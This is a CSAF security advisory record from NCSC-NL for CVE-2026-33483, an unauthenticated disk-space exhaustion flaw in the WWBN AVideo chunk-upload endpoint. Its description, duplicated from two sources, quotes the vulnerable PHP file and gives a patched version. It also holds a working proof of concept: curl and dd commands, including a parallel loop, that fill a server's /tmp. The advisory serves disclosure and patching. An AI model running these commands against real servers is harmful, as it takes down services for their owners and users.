{
    "document": {
        "category": "csaf_base",
        "csaf_version": "2.0",
        "distribution": {
            "tlp": {
                "label": "WHITE"
            }
        },
        "lang": "en",
        "notes": [
            {
                "category": "legal_disclaimer",
                "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings."
            }
        ],
        "publisher": {
            "category": "coordinator",
            "contact_details": "cert@ncsc.nl",
            "name": "National Cyber Security Centre",
            "namespace": "https://www.ncsc.nl/"
        },
        "title": "CVE-2026-33483",
        "tracking": {
            "current_release_date": "2026-03-26T00:52:28.541335Z",
            "generator": {
                "date": "2026-02-17T15:00:00Z",
                "engine": {
                    "name": "V.E.L.M.A",
                    "version": "1.7"
                }
            },
            "id": "CVE-2026-33483",
            "initial_release_date": "2026-03-20T21:41:05.441098Z",
            "revision_history": [
                {
                    "date": "2026-03-20T21:41:05.441098Z",
                    "number": "1",
                    "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (2).| CWES updated (1)."
                },
                {
                    "date": "2026-03-20T21:41:08.997905Z",
                    "number": "2",
                    "summary": "NCSC Score created."
                },
                {
                    "date": "2026-03-23T18:11:04.704538Z",
                    "number": "3",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (1).| References created (2).| CWES updated (1)."
                },
                {
                    "date": "2026-03-23T18:11:07.117801Z",
                    "number": "4",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-23T22:51:29.515001Z",
                    "number": "5",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (2).| CWES updated (1)."
                },
                {
                    "date": "2026-03-23T22:51:38.212683Z",
                    "number": "6",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-24T20:54:20.809101Z",
                    "number": "7",
                    "summary": "Products connected (1).| Product Identifiers created (1).| Exploits created (1)."
                },
                {
                    "date": "2026-03-24T20:54:42.360809Z",
                    "number": "8",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-24T20:56:11.584599Z",
                    "number": "9",
                    "summary": "Unknown change."
                },
                {
                    "date": "2026-03-24T21:19:37.682143Z",
                    "number": "10",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-24T21:37:25.861791Z",
                    "number": "11",
                    "summary": "Source connected.| CVE status created. (valid)| EPSS created."
                },
                {
                    "date": "2026-03-24T21:37:30.288057Z",
                    "number": "12",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-25T20:11:38.041020Z",
                    "number": "13",
                    "summary": "References created (2)."
                },
                {
                    "date": "2026-03-25T20:11:39.647956Z",
                    "number": "14",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-26T00:47:14.576897Z",
                    "number": "15",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (18).| Product Identifiers created (17).| References created (3).| CWES updated (1)."
                },
                {
                    "date": "2026-03-26T00:50:18.028874Z",
                    "number": "16",
                    "summary": "EPSS updated."
                },
                {
                    "date": "2026-03-26T00:50:19.661486Z",
                    "number": "17",
                    "summary": "NCSC Score updated."
                }
            ],
            "status": "interim",
            "version": "17"
        }
    },
    "product_tree": {
        "branches": [
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/<=26.0",
                                "product": {
                                    "name": "vers:unknown/<=26.0",
                                    "product_id": "CSAFPID-5893889",
                                    "product_identification_helper": {
                                        "cpe": "cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:*"
                                    }
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "AVideo"
                    },
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/10.4",
                                "product": {
                                    "name": "vers:unknown/10.4",
                                    "product_id": "CSAFPID-5656122",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/wwbn/avideo@10.4"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/10.8",
                                "product": {
                                    "name": "vers:unknown/10.8",
                                    "product_id": "CSAFPID-5656123",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/wwbn/avideo@10.8"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/11",
                                "product": {
                                    "name": "vers:unknown/11",
                                    "product_id": "CSAFPID-5656124",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/wwbn/avideo@11"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/11.1",
                                "product": {
                                    "name": "vers:unknown/11.1",
                                    "product_id": "CSAFPID-5656125",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/wwbn/avideo@11.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/11.1.1",
                                "product": {
                                    "name": "vers:unknown/11.1.1",
                                    "product_id": "CSAFPID-5656126",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/wwbn/avideo@11.1.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/11.5",
                                "product": {
                                    "name": "vers:unknown/11.5",
                                    "product_id": "CSAFPID-5656127",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/wwbn/avideo@11.5"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/11.6",
                                "product": {
                                    "name": "vers:unknown/11.6",
                                    "product_id": "CSAFPID-5656128",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/wwbn/avideo@11.6"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/12.4",
                                "product": {
                                    "name": "vers:unknown/12.4",
                                    "product_id": "CSAFPID-5656129",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/wwbn/avideo@12.4"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/14.3",
                                "product": {
                                    "name": "vers:unknown/14.3",
                                    "product_id": "CSAFPID-5656130",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/wwbn/avideo@14.3"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/14.3.1",
                                "product": {
                                    "name": "vers:unknown/14.3.1",
                                    "product_id": "CSAFPID-5656131",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/wwbn/avideo@14.3.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/14.4",
                                "product": {
                                    "name": "vers:unknown/14.4",
                                    "product_id": "CSAFPID-5656132",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/wwbn/avideo@14.4"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/18.0",
                                "product": {
                                    "name": "vers:unknown/18.0",
                                    "product_id": "CSAFPID-5656133",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/wwbn/avideo@18.0"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/21.0",
                                "product": {
                                    "name": "vers:unknown/21.0",
                                    "product_id": "CSAFPID-5721197",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/wwbn/avideo@21.0"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/22.0",
                                "product": {
                                    "name": "vers:unknown/22.0",
                                    "product_id": "CSAFPID-5772271",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/wwbn/avideo@22.0"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/24.0",
                                "product": {
                                    "name": "vers:unknown/24.0",
                                    "product_id": "CSAFPID-5772272",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/wwbn/avideo@24.0"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/25.0",
                                "product": {
                                    "name": "vers:unknown/25.0",
                                    "product_id": "CSAFPID-5840723",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/wwbn/avideo@25.0"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/26.0",
                                "product": {
                                    "name": "vers:unknown/26.0",
                                    "product_id": "CSAFPID-5878928",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/wwbn/avideo@26.0"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/>=0|<=26.0",
                                "product": {
                                    "name": "vers:unknown/>=0|<=26.0",
                                    "product_id": "CSAFPID-5878929"
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "avideo"
                    }
                ],
                "category": "vendor",
                "name": "WWBN"
            }
        ]
    },
    "vulnerabilities": [
        {
            "cve": "CVE-2026-33483",
            "cwe": {
                "id": "CWE-770",
                "name": "Allocation of Resources Without Limits or Throttling"
            },
            "notes": [
                {
                    "category": "description",
                    "text": "## Summary\n\nThe `aVideoEncoderChunk.json.php` endpoint is a completely standalone PHP script with no authentication, no framework includes, and no resource limits. An unauthenticated remote attacker can send arbitrary POST data which is written to persistent temp files in `/tmp/` with no size cap, no rate limiting, and no cleanup mechanism. This allows trivial disk space exhaustion leading to denial of service of the entire server.\n\n## Details\n\nThe file `objects/aVideoEncoderChunk.json.php` (25 lines total) operates entirely outside the AVideo framework:\n\n```php\n// objects/aVideoEncoderChunk.json.php — full file\n<?php\nheader('Access-Control-Allow-Origin: *');           // Line 2: CORS wildcard\nheader('Content-Type: application/json');\n$obj = new stdClass();\n$obj->file = tempnam(sys_get_temp_dir(), 'YTPChunk_');  // Line 5: creates /tmp/YTPChunk_XXXXXX\n\n$putdata = fopen(\"php://input\", \"r\");              // Line 7: reads raw POST body\n$fp = fopen($obj->file, \"w\");\n\nwhile ($data = fread($putdata, 1024 * 1024)) {     // Line 12: 1MB chunks, no limit\n    fwrite($fp, $data);\n}\n\nfclose($fp);\nfclose($putdata);\nsleep(1);\n$obj->filesize = filesize($obj->file);\n\n$json = json_encode($obj);\ndie($json);                                         // Line 25: returns {\"file\":\"/tmp/YTPChunk_abc123\",\"filesize\":104857600}\n```\n\nThe vulnerability chain:\n\n1. **No authentication**: The script includes no session handling, no `require_once` of the framework, no `useVideoHashOrLogin()`, no `canUpload()` — nothing. Compare with `aVideoEncoder.json.php` which includes `configuration.php` and calls authentication functions.\n\n2. **No size limits**: `php://input` is read until exhaustion. The effective limit is PHP's `post_max_size`, which AVideo's `.htaccess` has commented-out settings for 4GB (`#php_value post_max_size 4G` at line 536). Default AVideo installations recommend at least 100MB.\n\n3. **No cleanup**: A grep for `YTPChunk_` across the entire codebase returns only the chunk file itself. No cron job, no garbage collection, no consumer that deletes files after processing. The temp files persist until the server is manually cleaned.\n\n4. **Path disclosure**: The response JSON includes the full filesystem temp path (e.g., `/tmp/YTPChunk_abc123`), revealing server directory structure.\n\n5. **CORS wildcard**: `Access-Control-Allow-Origin: *` on line 2 means any malicious webpage can trigger this attack via the visitor's browser, potentially distributing the attack across many source IPs.\n\n6. **Public routing**: `.htaccess` line 437 rewrites `/aVideoEncoderChunk.json` to this file, making it accessible at a clean URL.\n\n## PoC\n\n**Step 1: Confirm endpoint is accessible and unauthenticated**\n```bash\ncurl -s -X POST https://target/aVideoEncoderChunk.json \\\n  -H 'Content-Type: application/octet-stream' \\\n  --data-binary 'test'\n```\nExpected output:\n```json\n{\"file\":\"/tmp/YTPChunk_XXXXXX\",\"filesize\":4}\n```\n\n**Step 2: Write a large temp file (100MB)**\n```bash\ndd if=/dev/zero bs=1M count=100 2>/dev/null | \\\n  curl -s -X POST https://target/aVideoEncoderChunk.json \\\n  -H 'Content-Type: application/octet-stream' \\\n  --data-binary @-\n```\nExpected output:\n```json\n{\"file\":\"/tmp/YTPChunk_YYYYYY\",\"filesize\":104857600}\n```\n\n**Step 3: Parallel disk exhaustion (10 concurrent 100MB requests = 1GB)**\n```bash\nfor i in $(seq 1 10); do\n  dd if=/dev/zero bs=1M count=100 2>/dev/null | \\\n    curl -s -X POST https://target/aVideoEncoderChunk.json \\\n    -H 'Content-Type: application/octet-stream' \\\n    --data-binary @- &\ndone\nwait\n```\n\n**Step 4: Verify files persist (they are never cleaned up)**\n```bash\n# On the server:\nls -la /tmp/YTPChunk_*\n# All files remain indefinitely\n```\n\n## Impact\n\n- **Denial of Service**: Filling `/tmp/` causes cascading failures — PHP session handling breaks, MySQL temp tables fail, and system services relying on tmpfs crash. This can take down the entire server, not just AVideo.\n- **No authentication barrier**: Any anonymous internet user can trigger this attack.\n- **Cross-origin exploitation**: The CORS wildcard header allows any malicious website to use visitors' browsers as distributed attack proxies, bypassing IP-based rate limiting at the network level.\n- **Information disclosure**: The temp file path in the response reveals the server's filesystem layout.\n- **Persistence**: Created files are never cleaned up, so even a brief attack has lasting impact until manual intervention.\n\n## Recommended Fix\n\nReplace `objects/aVideoEncoderChunk.json.php` with a version that includes authentication, size limits, and cleanup:\n\n```php\n<?php\nif (empty($global)) {\n    $global = [];\n}\nrequire_once '../videos/configuration.php';\n\nheader('Content-Type: application/json');\nallowOrigin(); // Use AVideo's configured CORS instead of wildcard\n\n// Require authentication\n$userObj = new User(0);\nif (!User::canUpload()) {\n    http_response_code(403);\n    die(json_encode(['error' => true, 'msg' => 'Not authorized']));\n}\n\n// Enforce size limit (e.g., 200MB)\n$maxSize = 200 * 1024 * 1024;\n$contentLength = isset($_SERVER['CONTENT_LENGTH']) ? (int)$_SERVER['CONTENT_LENGTH'] : 0;\nif ($contentLength > $maxSize) {\n    http_response_code(413);\n    die(json_encode(['error' => true, 'msg' => 'Payload too large']));\n}\n\n$obj = new stdClass();\n$obj->file = tempnam(sys_get_temp_dir(), 'YTPChunk_');\n\n$putdata = fopen(\"php://input\", \"r\");\n$fp = fopen($obj->file, \"w\");\n$written = 0;\n\nwhile ($data = fread($putdata, 1024 * 1024)) {\n    $written += strlen($data);\n    if ($written > $maxSize) {\n        fclose($fp);\n        fclose($putdata);\n        unlink($obj->file);\n        http_response_code(413);\n        die(json_encode(['error' => true, 'msg' => 'Payload too large']));\n    }\n    fwrite($fp, $data);\n}\n\nfclose($fp);\nfclose($putdata);\n\n$obj->filesize = filesize($obj->file);\n// Do not expose full filesystem path\n$obj->file = basename($obj->file);\n\ndie(json_encode($obj));\n```\n\nAdditionally, add a cleanup cron job or garbage collection to remove `YTPChunk_*` files older than a configurable timeout (e.g., 1 hour).",
                    "title": "github - https://api.github.com/advisories/GHSA-vv7w-qf5c-734w"
                },
                {
                    "category": "description",
                    "text": "WWBN AVideo is an open source video platform. In versions up to and including 26.0, the `aVideoEncoderChunk.json.php` endpoint is a completely standalone PHP script with no authentication, no framework includes, and no resource limits. An unauthenticated remote attacker can send arbitrary POST data which is written to persistent temp files in `/tmp/` with no size cap, no rate limiting, and no cleanup mechanism. This allows trivial disk space exhaustion leading to denial of service of the entire server. Commit 33d1bae6c731ef1682fcdc47b428313be073a5d1 contains a patch.",
                    "title": "cveprojectv5 - https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/33xxx/CVE-2026-33483.json"
                },
                {
                    "category": "description",
                    "text": "WWBN AVideo is an open source video platform. In versions up to and including 26.0, the `aVideoEncoderChunk.json.php` endpoint is a completely standalone PHP script with no authentication, no framework includes, and no resource limits. An unauthenticated remote attacker can send arbitrary POST data which is written to persistent temp files in `/tmp/` with no size cap, no rate limiting, and no cleanup mechanism. This allows trivial disk space exhaustion leading to denial of service of the entire server. Commit 33d1bae6c731ef1682fcdc47b428313be073a5d1 contains a patch.",
                    "title": "nvd - https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-33483"
                },
                {
                    "category": "description",
                    "text": "## Summary\n\nThe `aVideoEncoderChunk.json.php` endpoint is a completely standalone PHP script with no authentication, no framework includes, and no resource limits. An unauthenticated remote attacker can send arbitrary POST data which is written to persistent temp files in `/tmp/` with no size cap, no rate limiting, and no cleanup mechanism. This allows trivial disk space exhaustion leading to denial of service of the entire server.\n\n## Details\n\nThe file `objects/aVideoEncoderChunk.json.php` (25 lines total) operates entirely outside the AVideo framework:\n\n```php\n// objects/aVideoEncoderChunk.json.php — full file\n<?php\nheader('Access-Control-Allow-Origin: *');           // Line 2: CORS wildcard\nheader('Content-Type: application/json');\n$obj = new stdClass();\n$obj->file = tempnam(sys_get_temp_dir(), 'YTPChunk_');  // Line 5: creates /tmp/YTPChunk_XXXXXX\n\n$putdata = fopen(\"php://input\", \"r\");              // Line 7: reads raw POST body\n$fp = fopen($obj->file, \"w\");\n\nwhile ($data = fread($putdata, 1024 * 1024)) {     // Line 12: 1MB chunks, no limit\n    fwrite($fp, $data);\n}\n\nfclose($fp);\nfclose($putdata);\nsleep(1);\n$obj->filesize = filesize($obj->file);\n\n$json = json_encode($obj);\ndie($json);                                         // Line 25: returns {\"file\":\"/tmp/YTPChunk_abc123\",\"filesize\":104857600}\n```\n\nThe vulnerability chain:\n\n1. **No authentication**: The script includes no session handling, no `require_once` of the framework, no `useVideoHashOrLogin()`, no `canUpload()` — nothing. Compare with `aVideoEncoder.json.php` which includes `configuration.php` and calls authentication functions.\n\n2. **No size limits**: `php://input` is read until exhaustion. The effective limit is PHP's `post_max_size`, which AVideo's `.htaccess` has commented-out settings for 4GB (`#php_value post_max_size 4G` at line 536). Default AVideo installations recommend at least 100MB.\n\n3. **No cleanup**: A grep for `YTPChunk_` across the entire codebase returns only the chunk file itself. No cron job, no garbage collection, no consumer that deletes files after processing. The temp files persist until the server is manually cleaned.\n\n4. **Path disclosure**: The response JSON includes the full filesystem temp path (e.g., `/tmp/YTPChunk_abc123`), revealing server directory structure.\n\n5. **CORS wildcard**: `Access-Control-Allow-Origin: *` on line 2 means any malicious webpage can trigger this attack via the visitor's browser, potentially distributing the attack across many source IPs.\n\n6. **Public routing**: `.htaccess` line 437 rewrites `/aVideoEncoderChunk.json` to this file, making it accessible at a clean URL.\n\n## PoC\n\n**Step 1: Confirm endpoint is accessible and unauthenticated**\n```bash\ncurl -s -X POST https://target/aVideoEncoderChunk.json \\\n  -H 'Content-Type: application/octet-stream' \\\n  --data-binary 'test'\n```\nExpected output:\n```json\n{\"file\":\"/tmp/YTPChunk_XXXXXX\",\"filesize\":4}\n```\n\n**Step 2: Write a large temp file (100MB)**\n```bash\ndd if=/dev/zero bs=1M count=100 2>/dev/null | \\\n  curl -s -X POST https://target/aVideoEncoderChunk.json \\\n  -H 'Content-Type: application/octet-stream' \\\n  --data-binary @-\n```\nExpected output:\n```json\n{\"file\":\"/tmp/YTPChunk_YYYYYY\",\"filesize\":104857600}\n```\n\n**Step 3: Parallel disk exhaustion (10 concurrent 100MB requests = 1GB)**\n```bash\nfor i in $(seq 1 10); do\n  dd if=/dev/zero bs=1M count=100 2>/dev/null | \\\n    curl -s -X POST https://target/aVideoEncoderChunk.json \\\n    -H 'Content-Type: application/octet-stream' \\\n    --data-binary @- &\ndone\nwait\n```\n\n**Step 4: Verify files persist (they are never cleaned up)**\n```bash\n# On the server:\nls -la /tmp/YTPChunk_*\n# All files remain indefinitely\n```\n\n## Impact\n\n- **Denial of Service**: Filling `/tmp/` causes cascading failures — PHP session handling breaks, MySQL temp tables fail, and system services relying on tmpfs crash. This can take down the entire server, not just AVideo.\n- **No authentication barrier**: Any anonymous internet user can trigger this attack.\n- **Cross-origin exploitation**: The CORS wildcard header allows any malicious website to use visitors' browsers as distributed attack proxies, bypassing IP-based rate limiting at the network level.\n- **Information disclosure**: The temp file path in the response reveals the server's filesystem layout.\n- **Persistence**: Created files are never cleaned up, so even a brief attack has lasting impact until manual intervention.\n\n## Recommended Fix\n\nReplace `objects/aVideoEncoderChunk.json.php` with a version that includes authentication, size limits, and cleanup:\n\n```php\n<?php\nif (empty($global)) {\n    $global = [];\n}\nrequire_once '../videos/configuration.php';\n\nheader('Content-Type: application/json');\nallowOrigin(); // Use AVideo's configured CORS instead of wildcard\n\n// Require authentication\n$userObj = new User(0);\nif (!User::canUpload()) {\n    http_response_code(403);\n    die(json_encode(['error' => true, 'msg' => 'Not authorized']));\n}\n\n// Enforce size limit (e.g., 200MB)\n$maxSize = 200 * 1024 * 1024;\n$contentLength = isset($_SERVER['CONTENT_LENGTH']) ? (int)$_SERVER['CONTENT_LENGTH'] : 0;\nif ($contentLength > $maxSize) {\n    http_response_code(413);\n    die(json_encode(['error' => true, 'msg' => 'Payload too large']));\n}\n\n$obj = new stdClass();\n$obj->file = tempnam(sys_get_temp_dir(), 'YTPChunk_');\n\n$putdata = fopen(\"php://input\", \"r\");\n$fp = fopen($obj->file, \"w\");\n$written = 0;\n\nwhile ($data = fread($putdata, 1024 * 1024)) {\n    $written += strlen($data);\n    if ($written > $maxSize) {\n        fclose($fp);\n        fclose($putdata);\n        unlink($obj->file);\n        http_response_code(413);\n        die(json_encode(['error' => true, 'msg' => 'Payload too large']));\n    }\n    fwrite($fp, $data);\n}\n\nfclose($fp);\nfclose($putdata);\n\n$obj->filesize = filesize($obj->file);\n// Do not expose full filesystem path\n$obj->file = basename($obj->file);\n\ndie(json_encode($obj));\n```\n\nAdditionally, add a cleanup cron job or garbage collection to remove `YTPChunk_*` files older than a configurable timeout (e.g., 1 hour).",
                    "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Packagist%2FGHSA-vv7w-qf5c-734w.json?alt=media"
                },
                {
                    "category": "other",
                    "text": "0.00331",
                    "title": "EPSS"
                },
                {
                    "category": "other",
                    "text": "4.1",
                    "title": "NCSC Score"
                },
                {
                    "category": "other",
                    "text": "There is product data available from source Nvd, Is related to CWE-770 (Allocation of Resources Without Limits or Throttling)",
                    "title": "NCSC Score top increasing factors"
                },
                {
                    "category": "other",
                    "text": "Is related to (a version of) an uncommon product, Exploit code publicly available, There is exploit data available from source Nvd",
                    "title": "NCSC Score top decreasing factors"
                }
            ],
            "product_status": {
                "known_affected": [
                    "CSAFPID-5893889",
                    "CSAFPID-5656122",
                    "CSAFPID-5656123",
                    "CSAFPID-5656124",
                    "CSAFPID-5656125",
                    "CSAFPID-5656126",
                    "CSAFPID-5656127",
                    "CSAFPID-5656128",
                    "CSAFPID-5656129",
                    "CSAFPID-5656130",
                    "CSAFPID-5656131",
                    "CSAFPID-5656132",
                    "CSAFPID-5656133",
                    "CSAFPID-5721197",
                    "CSAFPID-5772271",
                    "CSAFPID-5772272",
                    "CSAFPID-5840723",
                    "CSAFPID-5878928",
                    "CSAFPID-5878929"
                ]
            },
            "references": [
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://api.github.com/advisories/GHSA-vv7w-qf5c-734w"
                },
                {
                    "category": "external",
                    "summary": "Source - cveprojectv5",
                    "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/33xxx/CVE-2026-33483.json"
                },
                {
                    "category": "external",
                    "summary": "Source - nvd",
                    "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-33483"
                },
                {
                    "category": "external",
                    "summary": "Source - first",
                    "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0"
                },
                {
                    "category": "external",
                    "summary": "Source - osv",
                    "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Packagist%2FGHSA-vv7w-qf5c-734w.json?alt=media"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd; osv",
                    "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-vv7w-qf5c-734w"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://github.com/advisories/GHSA-vv7w-qf5c-734w"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd; osv",
                    "url": "https://github.com/WWBN/AVideo/commit/33d1bae6c731ef1682fcdc47b428313be073a5d1"
                },
                {
                    "category": "external",
                    "summary": "Reference - github; osv",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33483"
                }
            ],
            "scores": [
                {
                    "cvss_v3": {
                        "version": "3.1",
                        "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
                        "baseScore": 7.5,
                        "baseSeverity": "HIGH"
                    },
                    "products": [
                        "CSAFPID-5656122",
                        "CSAFPID-5656123",
                        "CSAFPID-5656124",
                        "CSAFPID-5656125",
                        "CSAFPID-5656126",
                        "CSAFPID-5656127",
                        "CSAFPID-5656128",
                        "CSAFPID-5656129",
                        "CSAFPID-5656130",
                        "CSAFPID-5656131",
                        "CSAFPID-5656132",
                        "CSAFPID-5656133",
                        "CSAFPID-5721197",
                        "CSAFPID-5772271",
                        "CSAFPID-5772272",
                        "CSAFPID-5840723",
                        "CSAFPID-5878928",
                        "CSAFPID-5878929",
                        "CSAFPID-5893889"
                    ]
                }
            ],
            "title": "CVE-2026-33483"
        }
    ]
}